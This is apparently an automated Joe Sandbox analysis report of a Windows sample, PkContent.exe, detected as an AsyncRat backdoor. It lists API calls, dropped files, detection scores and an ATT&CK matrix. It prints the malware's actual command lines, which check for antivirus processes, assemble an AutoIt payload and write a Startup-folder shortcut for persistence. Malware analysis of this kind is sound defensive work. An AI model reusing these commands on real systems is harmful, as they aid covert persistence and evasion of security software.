Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001A59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	12_2_001A59B3
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00135EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	12_2_00135EDA
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_000959B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	18_2_000959B3
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00025EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	18_2_00025EDA

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_001433B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

12_2_001433B7

Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	API coverage: 4.9 %
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	API coverage: 4.6 %

Source: C:\Windows\SysWOW64\findstr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\findstr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\SysWOW64\findstr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\findstr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\PkContent.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00184005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00184005
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018494A GetFileAttributesW,FindFirstFileW,FindClose,	12_2_0018494A
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00183CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00183CE2
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_0018C2FF
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018CD14 FindFirstFileW,FindClose,	12_2_0018CD14
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	12_2_0018CD9F
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_0018F5D8
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_0018F735
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0018FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	12_2_0018FA36
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00074005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00074005
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007494A GetFileAttributesW,FindFirstFileW,FindClose,	18_2_0007494A
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	18_2_0007C2FF
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007CD14 FindFirstFileW,FindClose,	18_2_0007CD14
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	18_2_0007CD9F
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_0007F5D8
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_0007F735
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0007FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	18_2_0007FA36
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00073CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00073CE2

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00135D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

12_2_00135D13

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\724598\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\724598	Jump to behavior

Source: HermesKey.scr, 00000012.00000002.2556635670.0000000001A91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllvA7
Source: Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllT
Source: PkContent.exe, 00000000.00000003.1310781106.0000000000690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ir&Prod_VMware_SATA

Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr

API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_001945D5 BlockInput,

12_2_001945D5

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00135240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

12_2_00135240

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00155CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

12_2_00155CAC

Source: C:\Users\user\Desktop\PkContent.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_001788CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

12_2_001788CD

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0014A354 SetUnhandledExceptionFilter,	12_2_0014A354
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0014A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0014A385
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0003A354 SetUnhandledExceptionFilter,	18_2_0003A354
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0003A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_0003A385

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00179369 LogonUserW,

12_2_00179369

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00135240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

12_2_00135240

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00181AC6 SendInput,keybd_event,

12_2_00181AC6

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_001851E2 mouse_event,

12_2_001851E2

Source: C:\Users\user\Desktop\PkContent.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 724598	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "WowLiberalCalOfficer" Weight	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Explorer + ..\West + ..\Agencies + ..\Situated y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif Thermal.pif y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr" "C:\Users\user\AppData\Local\GuardKey Solutions\g"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\hermeskey.url" & echo url="c:\users\user\appdata\local\guardkey solutions\hermeskey.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\hermeskey.url" & exit
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\hermeskey.url" & echo url="c:\users\user\appdata\local\guardkey solutions\hermeskey.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\hermeskey.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

12_2_001788CD

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00184F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

12_2_00184F1C

Source: PkContent.exe, 00000000.00000003.1312253060.0000000002746000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003CFC000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Thermal.pif, HermesKey.scr	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_0014885B cpuid

12_2_0014885B

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00160030 GetLocalTime,__swprintf,

12_2_00160030

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00160722 GetUserNameW,

12_2_00160722

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_0015416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

12_2_0015416A

Source: C:\Users\user\Desktop\PkContent.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: HermesKey.scr	Binary or memory string: WIN_81
Source: HermesKey.scr	Binary or memory string: WIN_XP
Source: HermesKey.scr	Binary or memory string: WIN_XPe
Source: HermesKey.scr	Binary or memory string: WIN_VISTA
Source: HermesKey.scr	Binary or memory string: WIN_7
Source: HermesKey.scr	Binary or memory string: WIN_8
Source: HermesKey.scr.12.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0019696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	12_2_0019696E
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00196E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	12_2_00196E32
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0008696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	18_2_0008696E
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00086E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	18_2_00086E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	21 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	37 System Information Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	111 Masquerading	LSA Secrets	41 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
PkContent.exe	63%	ReversingLabs	Win32.Backdoor.AsyncRat
PkContent.exe	100%	Avira	BDS/Agent.tfscq
PkContent.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	8%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
ctIHfwPuGQOYqdJrz.ctIHfwPuGQOYqdJrz	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.autoitscript.com/autoit3/J	PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmp, HermesKey.scr, 00000012.00000000.1496285640.00000000000D9000.00000002.00000001.01000000.0000000A.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	false	high
http://nsis.sf.net/NSIS_ErrorError	PkContent.exe	false	high
https://www.autoitscript.com/autoit3/	PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000003.1368352365.0000000003D0A000.00000004.00000800.00020000.00000000.sdmp, Thermal.pif, 0000000C.00000002.2556840478.0000000001472000.00000004.00000020.00020000.00000000.sdmp, Ought.0.dr, Thermal.pif.3.dr, HermesKey.scr.12.dr	false	high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577543
Start date and time:	2024-12-18 15:20:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PkContent.exe
Detection:	MAL
Classification:	mal92.expl.evad.winEXE@28/14@3/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 102 Number of non-executed functions: 293
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 20.242.39.171, 20.12.23.50, 23.50.131.216, 23.50.131.200, 13.107.246.63
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, time.windows.com, a767.dspw65.akamai.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: PkContent.exe

Simulations

Behavior and APIs

Time	Type	Description
09:21:50	API Interceptor	1x Sleep call for process: PkContent.exe modified
11:19:52	API Interceptor	3326x Sleep call for process: Thermal.pif modified
11:20:07	API Interceptor	2398x Sleep call for process: HermesKey.scr modified
15:21:59	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	https://launch.app/plainsart	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	Order_948575494759.xls	Get hash	malicious	Unknown	Browse	199.232.214.172
	DocuStream_Scan_l8obgs3v.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
